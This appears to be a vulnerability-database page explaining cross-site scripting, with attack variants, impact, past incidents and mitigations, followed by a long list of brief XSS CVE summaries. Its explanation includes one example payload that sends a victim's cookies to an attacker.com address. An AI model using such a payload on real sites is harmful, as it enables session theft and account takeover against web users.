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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38989)

EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Alex Volkov WP Nice Loader wp-nice-loader allows Stored XSS.1.0.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 5.7
MEDIUM This Month

Password Pusher is an open source application to communicate sensitive information over the web. Rated medium severity (CVSS 5.7). No vendor patch available.

Authentication Bypass XSS Session Fixation
NVD GitHub
EPSS 1% CVSS 5.3
MEDIUM This Month

LGSL (Live Game Server List) provides online status lists for online video games. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 7.5
HIGH This Week

Tecnick TCExam - Multiple CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 7.5
HIGH This Week

Boa web server - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 1% CVSS 7.5
HIGH This Week

Tiki Wiki CMS - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Tiki Wiki CMS - CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Command Injection
NVD
EPSS 0% CVSS 7.5
HIGH This Week

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in code-projects Chat System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Chat System
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in code-projects Chat System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Chat System
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in Antabot White-Jotter up to 0.2.2. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS White Jotter
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability has been found in PHPGurukul Maid Hiring Management System 1.0 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Maid Hiring Management System
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in SourceCodester Road Accident Map Marker 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Road Accident Map Marker
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability classified as problematic has been found in code-projects Chat System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Chat System
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability was found in PHPGurukul Maid Hiring Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Maid Hiring Management System
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability was found in PHPGurukul Maid Hiring Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Maid Hiring Management System
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability was found in PHPGurukul Maid Hiring Management System 1.0 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Maid Hiring Management System
NVD VulDB
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in PHPGurukul Maid Hiring Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Maid Hiring Management System
NVD VulDB
EPSS 1% CVSS 5.3
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in code-projects Hostel Management System 1.0.php. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Hostel Management System
NVD VulDB
EPSS 0% CVSS 6.9
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in code-projects Online Car Rental System 1.0. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Car Rental System
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability classified as problematic has been found in ruifang-tech Rebuild 3.8.6. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Dcat-Admin v2.2.0-beta and v2.2.2-beta contains a Cross-Site Scripting (XSS) vulnerability via /admin/auth/menu and /admin/auth/extensions. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dcat Admin
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Dcat Admin v2.2.0-beta contains a cross-site scripting (XSS) vulnerability in /admin/articles/create. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dcat Admin
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in the graphicCustomization.do page in Kurmi Provisioning Suite before 7.9.0.38, 7.10.x through 7.10.0.18, and 7.11.x through 7.11.0.15 allows remote. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability was found in Beijing Longda Jushang Technology DBShop商城系统 3.3 Release 231225. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 7.6
HIGH POC PATCH This Week

LinkAce is a self-hosted archive to collect links of your favorite websites. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Linkace
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

LinkAce is a self-hosted archive to collect links of your favorite websites. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Linkace
NVD GitHub
EPSS 1% CVSS 5.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in code-projects Hospital Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System
NVD GitHub VulDB
EPSS 1% CVSS 7.5
HIGH POC PATCH This Week

An issue was discovered in TCPDF before 6.8.0. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Tcpdf
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM This Month

A vulnerability was found in PHPGurukul Blood Bank & Donor Management System 2.4. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Blood Bank Donor Management System
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The GiveWP WordPress plugin before 3.19.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Givewp
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The float block WordPress plugin through 1.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Float Block
NVD WPScan
EPSS 0% CVSS 5.9
MEDIUM POC This Month

The WP-SVG WordPress plugin through 0.9 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Svg
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The wp-publications WordPress plugin through 1.2 does not escape filenames before outputting them back in the page, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Publications
NVD WPScan Exploit-DB
EPSS 1% CVSS 7.5
HIGH PATCH This Week

An issue was discovered in TCPDF before 6.8.0. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Tcpdf
NVD GitHub
EPSS 0% CVSS 6.9
MEDIUM POC This Month

A vulnerability was found in code-projects Job Recruitment 1.0. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Job Recruitment
NVD GitHub VulDB
EPSS 0% CVSS 6.9
MEDIUM POC This Month

A vulnerability was found in code-projects Job Recruitment 1.0 and classified as problematic.php. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Job Recruitment
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

LGSL (Live Game Server List) provides online status for games. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

@marp-team/marp-core is the core for Marp, which is the ecosystem to write your presentation with plain Markdown. Rated medium severity (CVSS 5.3), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 4.7
MEDIUM POC This Month

The WPForms WordPress plugin before 1.9.2.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpforms
NVD WPScan
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability was found in code-projects Simple Admin Panel 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Simple Admin Panel
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability was found in code-projects Simple Admin Panel 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Simple Admin Panel
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability was found in code-projects Simple Admin Panel 1.0 and classified as problematic.php. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Simple Admin Panel
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Jetpack WordPress plugin before 14.1 does not properly checks the postmessage origin in its 13.x versions, allowing it to be bypassed and leading to DOM-XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Jetpack
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Responsive Blocks - WordPress Gutenberg Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'responsive-block-editor-addons/portfolio' block in all versions up to,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Responsive Blocks
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The DirectoryPress - Business Directory And Classified Ad Listing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 3.6.16. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Unrestricted File Upload vulnerability could allow attackers to upload malicious files that can be executed on the server.

WordPress XSS File Upload +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Tracking Code Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the tracking code field in all versions up to, and including, 2.3.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The WP Datepicker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wpdp_get_selected_datepicker' parameter in all versions up to, and including, 2.1.4 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Datepicker
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Text Prompter - Unlimited chatgpt text prompts for openai tasks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'text_prompter' shortcode in all versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Loan Comparison plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'loancomparison' shortcode in all versions up to, and including, 2.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WordPress Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wp_cart_button' and 'wp_cart_display_product' shortcodes in all versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Export Customers Data plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 't' parameter in all versions up to, and including, 1.2.3 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Bitcoin Lightning Publisher for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Exhibit to WP Gallery WordPress plugin through 0.0.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Exhibit To Wp Gallery
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The NinjaTeam Chat for Telegram plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'njtele_button shortcode in all versions up to, and including, 1.0 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP-Appbox plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 4.5.3 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The ShMapper by Teplitsa plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'shmMap' shortcode in all versions up to, and including, 1.4.18 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Optio Dentistry plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'optio-lightbox' shortcode in all versions up to, and including, 2.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A vulnerability in Koji was found. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

SimpleXLSX is software for parsing and retrieving data from Excel XLSx files. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Elementor Header & Footer Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘size’ parameter in all versions up to, and including, 1.6.46 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Elementor Header Footer Builder
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the Project name of REDCap through 14.9.6 allows authenticated users to inject malicious scripts into the name field of a Project. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redcap
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the Calendar feature of REDCap through 14.9.6 allows authenticated users to inject malicious scripts into the Notes field of a calendar event. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redcap
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in the Project Dashboard name of REDCap through 14.9.6 allows authenticated users to inject malicious scripts into the name field of a Project. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Redcap
NVD GitHub
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in Portabilis i-Educar up to 2.9. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS I Educar
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in code-projects Online Exam Mastering System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Exam Mastering System
NVD VulDB
EPSS 1% CVSS 6.9
MEDIUM POC This Month

A vulnerability was found in code-projects Job Recruitment 1.0. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Job Recruitment
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The MagicPost plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wb_share_social shortcode in all versions up to, and including, 1.2.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP on AWS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via $_POST data in all versions up to, and including, 5.2.1 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The LaTeX2HTML plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'ver' or 'date' parameter in all versions up to, and including, 2.5.5 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Elementor Website Builder - More than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Typography Settings in all versions up to, and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Website Builder
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Shortcodes and extra features for Phlox theme plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's aux_contact_box and aux_gmaps shortcodes in all versions up to,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Shortcodes And Extra Features For Phlox Theme
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Shortcodes and extra features for Phlox theme plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Staff widget in all versions up to, and including, 2.17.2 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Shortcodes And Extra Features For Phlox Theme
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Pingmeter Uptime Monitoring plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the '_wpnonce' parameter in all versions up to, and including, 1.0.3 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The real.Kit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.1.1 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Ebook Store plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'step' parameter in all versions up to, and including, 5.8001 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Ebook Store
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Reactflow Visitor Recording and Heatmaps plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the '_wpnonce' parameter in all versions up to, and including, 1.0.10 due to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The One Click Upsell Funnel for WooCommerce - Funnel Builder for WordPress, Create WooCommerce Upsell, Post-Purchase Upsell & Cross Sell Offers that Boost Sales & Increase Profits with Sales Funnel. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The G Web Pro Store Locator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'q' parameter in all versions up to, and including, 2.1 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The Ebook Store plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Ebook Store
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Multi-column Tag Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's mctagmap shortcode in all versions up to, and including, 17.0.33 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The GTPayment Donations WordPress plugin through 1.0.0 does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +1
NVD WPScan
EPSS 0% CVSS 6.9
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in Emlog Pro up to 2.4.1. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

The Feedify - Web Push Notifications plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'platform', 'phone', 'email', and 'store_url' parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability classified as problematic was found in Emlog Pro up to 2.4.1. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Emlog
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

grist-core is a spreadsheet hosting server. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Grist Core
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

grist-core is a spreadsheet hosting server. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Grist Core
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

grist-core is a spreadsheet hosting server. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Grist Core
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

There is a cross-site scripting vulnerability in the management console of Absolute Secure Access prior to version 13.52. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.9
MEDIUM POC This Month

